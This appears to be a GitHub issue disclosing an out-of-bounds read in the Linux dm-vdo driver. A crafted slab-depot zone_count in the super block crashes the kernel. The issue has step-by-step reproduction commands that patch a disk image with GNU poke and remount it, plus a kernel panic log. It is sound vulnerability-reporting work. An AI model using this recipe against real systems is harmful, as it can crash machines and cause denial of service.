Skip to content

Slab Depot old_zone_count OOB read memory corruption #418

@jfiusdq

Description

@jfiusdq

VDO Slab Depot old_zone_count OOB Repro (dm-vdo)

vdo-old-zone-oob-repro-with-image.tar.gz

This package reproduces an out-of-bounds access in dm-vdo when loading a
super block with a crafted slab_depot_state_2_0.zone_count value. The field
is copied into depot->old_zone_count without validation. If it exceeds
MAX_VDO_PHYSICAL_ZONES (16), combine_summaries() indexes beyond the
summary_entries buffer, leading to OOB read.

The repro patches the VDO super block inside the backing image and then
mounts the VDO volume read-only to avoid the kernel rewriting the crafted
super block.

Requirements

  • Linux kernel with dm-vdo (issue in drivers/md/dm-vdo/slab-depot.c)
  • lvm2 tooling (vgscan, vgchange, lvs, etc.)
  • GNU poke
  • Root access (mounting, LVM, loop devices)

Files

  • scripts/patch.pk — GNU poke program that sets slab_depot.zone_count and fixes the checksum.
  • scripts/patch.cmd — Poke command file that opens the image and loads patch.pk.
  • scripts/verify.pk — Poke program that prints zone_count and validates the checksum.
  • scripts/verify.cmd — Poke command file that opens the image and loads verify.pk.
  • scripts/remount_ro.sh — Helper that unmounts, detaches loop, patches, and remounts read-only.
  • vdo_back_image.pk — Poke definitions used to locate VDO geometry and super block.

Configuration

By default the scripts assume:

  • Backing image: /tmp/vdo-back.img
  • VG: vdo_poc
  • LV: vdo0
  • Mount point: /mnt/vdo0
  • Loop device: auto-detected (/dev/loop0 when attached)

If your environment differs, edit the variables at the top of scripts/remount_ro.sh.

Repro Steps

1) Patch the image

Either run the helper script (recommended):

cd repro-vdo-old-zone-oob
sudo bash scripts/remount_ro.sh

Or patch manually:

# Ensure volume is unmounted and VG inactive
sudo umount /mnt/vdo0
sudo vgchange -an vdo_poc

# Detach loop if attached
sudo losetup -a | rg -n "vdo-back.img" && sudo losetup -d /dev/loop0

# Apply patch
poke -q -s scripts/patch.cmd

# Verify patch
poke -q -s scripts/verify.cmd

Expected verify output (example):

slab_depot.zone_count=255U checksum=... computed=...
checksum=OK

2) Remount read-only

# Reattach loop
sudo losetup -f --show /tmp/vdo-back.img

# Activate VG/LV
sudo vgscan --mknodes
sudo vgchange -ay vdo_poc

# Mount read-only to avoid overwriting the crafted super block
sudo mount -o ro /dev/mapper/vdo_poc-vdo0 /mnt/vdo0

3) Observe kernel log

With KASAN (or other memory sanitizers) enabled, you should see an
out-of-bounds report in combine_summaries() (around
slab-depot.c:4488) when the slab summary is loaded. UBSAN may not
trigger here because the OOB happens via pointer arithmetic + memcpy
rather than a direct array index.

Triggered kernel panic:

[2026-01-31 19:37:16] [3417068.083397] loop0: detected capacity change from 0 to 16777216
[2026-01-31 19:37:16] [3417068.237922] device-mapper: vdo6:vgchange: table line: V4 /dev/dm-0 1310720 4096 32768 16380 deduplication on compression on maxDiscard 1 ack 1 bio 4 bioRotationInterval 64 cpu 2 hash 1 logical 1 physical 1
[2026-01-31 19:37:16] [3417068.237988] device-mapper: vdo6:vgchange: loading device '253:1'
[2026-01-31 19:37:16] [3417068.238059] device-mapper: vdo6:vgchange: zones: 1 logical, 1 physical, 1 hash; total threads: 12
[2026-01-31 19:37:16] [3417068.279332] device-mapper: vdo6:vgchange: starting device '253:1'
[2026-01-31 19:37:16] [3417068.279462] BUG: unable to handle page fault for address: ffffc90002661020
[2026-01-31 19:37:16] [3417068.279486] #PF: supervisor read access in kernel mode
[2026-01-31 19:37:16] [3417068.279503] #PF: error_code(0x0000) - not-present page
[2026-01-31 19:37:16] [3417068.279520] PGD 3800067 P4D 3800067 PUD 3aab067 PMD 215f8067 PTE 0
[2026-01-31 19:37:16] [3417068.279545] Oops: Oops: 0000 [#1] PREEMPT SMP NOPTI
[2026-01-31 19:37:16] [3417068.279562] CPU: 7 UID: 0 PID: 2771213 Comm: vdo6:journalQ Not tainted 6.12.59-1.fc41.x86_64 #1
[2026-01-31 19:37:16] [3417068.279590] RIP: 0010:combine_summaries+0x44/0xa0 [dm_vdo]
[2026-01-31 19:37:16] [3417068.279628] Code: 01 48 83 c2 01 38 47 01 74 31 48 81 fa 00 20 00 00 74 33 84 c0 74 e7 48 89 c1 83 c0 01 48 c1 e1 0d 81 e1 00 e0 1f 00 48 01 d1 <0f> b7 0c 4b 66 89 0c 53 48 83 c2 01 38 47 01 75 cf 31 c0 48 81 fa
[2026-01-31 19:37:16] [3417068.279679] RSP: 0018:ffffc90001cabe58 EFLAGS: 00010202
[2026-01-31 19:37:16] [3417068.279697] RAX: 0000000000000011 RBX: ffffc90002621000 RCX: 0000000000020010
[2026-01-31 19:37:16] [3417068.279721] RDX: 0000000000000010 RSI: ffffc90001cabe88 RDI: ffff8880083b9c00
[2026-01-31 19:37:16] [3417068.279747] RBP: ffff8880083b9c00 R08: 000c23ce34f85df8 R09: 0000000000000001
[2026-01-31 19:37:16] [3417068.279770] R10: 0000000000000000 R11: ffff8880499a17c0 R12: ffff888268871a40
[2026-01-31 19:37:16] [3417068.279793] R13: ffffc90001cabe88 R14: ffff8882c1792f40 R15: ffff888268871a08
[2026-01-31 19:37:16] [3417068.279820] FS:  0000000000000000(0000) GS:ffff888049980000(0000) knlGS:0000000000000000
[2026-01-31 19:37:16] [3417068.279844] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[2026-01-31 19:37:16] [3417068.279864] CR2: ffffc90002661020 CR3: 00000002dbc04000 CR4: 0000000000750ef0
[2026-01-31 19:37:16] [3417068.279890] PKRU: 55555554
[2026-01-31 19:37:16] [3417068.279903] Call Trace:
[2026-01-31 19:37:16] [3417068.279915]  <TASK>
[2026-01-31 19:37:16] [3417068.279927]  finish_loading_summary+0x21/0x80 [dm_vdo]
[2026-01-31 19:37:16] [3417068.279955]  service_work_queue+0x22e/0x2f0 [dm_vdo]
[2026-01-31 19:37:16] [3417068.279986]  ? __pfx_autoremove_wake_function+0x10/0x10
[2026-01-31 19:37:16] [3417068.280007]  ? __pfx_work_queue_runner+0x10/0x10 [dm_vdo]
[2026-01-31 19:37:16] [3417068.280037]  work_queue_runner+0x1e/0x30 [dm_vdo]
[2026-01-31 19:37:16] [3417068.280058]  kthread+0xcf/0x100
[2026-01-31 19:37:16] [3417068.280071]  ? __pfx_kthread+0x10/0x10
[2026-01-31 19:37:16] [3417068.280084]  ret_from_fork+0x31/0x50
[2026-01-31 19:37:16] [3417068.280098]  ? __pfx_kthread+0x10/0x10
[2026-01-31 19:37:16] [3417068.280112]  ret_from_fork_asm+0x1a/0x30
[2026-01-31 19:37:16] [3417068.280127]  </TASK>
[2026-01-31 19:37:16] [3417068.280135] Modules linked in: dm_vdo lz4_compress loop iptable_filter ip_tables binfmt_misc nft_nat nft_fib_inet nft_fib_ipv4 nft_fib_ipv6 nft_fib veth bridge stp llc tun nft_reject_ipv6 nf_reject_ipv6 nft_reject_ipv4 nf_reject_ipv4 nft_reject nft_ct nft_masq nft_chain_nat nf_nat nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 nf_tables intel_rapl_msr xen_netfront intel_rapl_common crct10dif_pclmul crc32_pclmul crc32c_intel snd_pcm polyval_clmulni polyval_generic snd_timer ghash_clmulni_intel sha512_ssse3 snd sha256_ssse3 soundcore sha1_ssse3 pcspkr xen_blkback xen_gntalloc xen_privcmd xen_gntdev xen_evtchn fuse nfnetlink vsock_loopback vmw_vsock_virtio_transport_common vmw_vsock_vmci_transport vsock vmw_vmci overlay xen_blkfront
[2026-01-31 19:37:16] [3417068.280542] CR2: ffffc90002661020
[2026-01-31 19:37:16] [3417068.280554] ---[ end trace 0000000000000000 ]---
[2026-01-31 19:37:16] [3417068.280567] RIP: 0010:combine_summaries+0x44/0xa0 [dm_vdo]
[2026-01-31 19:37:16] [3417068.280601] Code: 01 48 83 c2 01 38 47 01 74 31 48 81 fa 00 20 00 00 74 33 84 c0 74 e7 48 89 c1 83 c0 01 48 c1 e1 0d 81 e1 00 e0 1f 00 48 01 d1 <0f> b7 0c 4b 66 89 0c 53 48 83 c2 01 38 47 01 75 cf 31 c0 48 81 fa
[2026-01-31 19:37:16] [3417068.280643] RSP: 0018:ffffc90001cabe58 EFLAGS: 00010202
[2026-01-31 19:37:16] [3417068.280658] RAX: 0000000000000011 RBX: ffffc90002621000 RCX: 0000000000020010
[2026-01-31 19:37:16] [3417068.280677] RDX: 0000000000000010 RSI: ffffc90001cabe88 RDI: ffff8880083b9c00
[2026-01-31 19:37:16] [3417068.280696] RBP: ffff8880083b9c00 R08: 000c23ce34f85df8 R09: 0000000000000001
[2026-01-31 19:37:16] [3417068.280716] R10: 0000000000000000 R11: ffff8880499a17c0 R12: ffff888268871a40
[2026-01-31 19:37:16] [3417068.280735] R13: ffffc90001cabe88 R14: ffff8882c1792f40 R15: ffff888268871a08
[2026-01-31 19:37:16] [3417068.280756] FS:  0000000000000000(0000) GS:ffff888049980000(0000) knlGS:0000000000000000
[2026-01-31 19:37:16] [3417068.280776] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[2026-01-31 19:37:16] [3417068.280793] CR2: ffffc90002661020 CR3: 00000002dbc04000 CR4: 0000000000750ef0
[2026-01-31 19:37:16] [3417068.280814] PKRU: 55555554
[2026-01-31 19:37:16] [3417068.280825] Kernel panic - not syncing: Fatal exception
[2026-01-31 19:37:16] [3417068.280985] Kernel Offset: disabled

Notes

  • This repro is driven solely by on-disk metadata; no custom kernel modules are needed.
  • Keeping the filesystem read-only is important; VDO may rewrite the super block
    during normal operation, which would remove the crafted zone_count.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions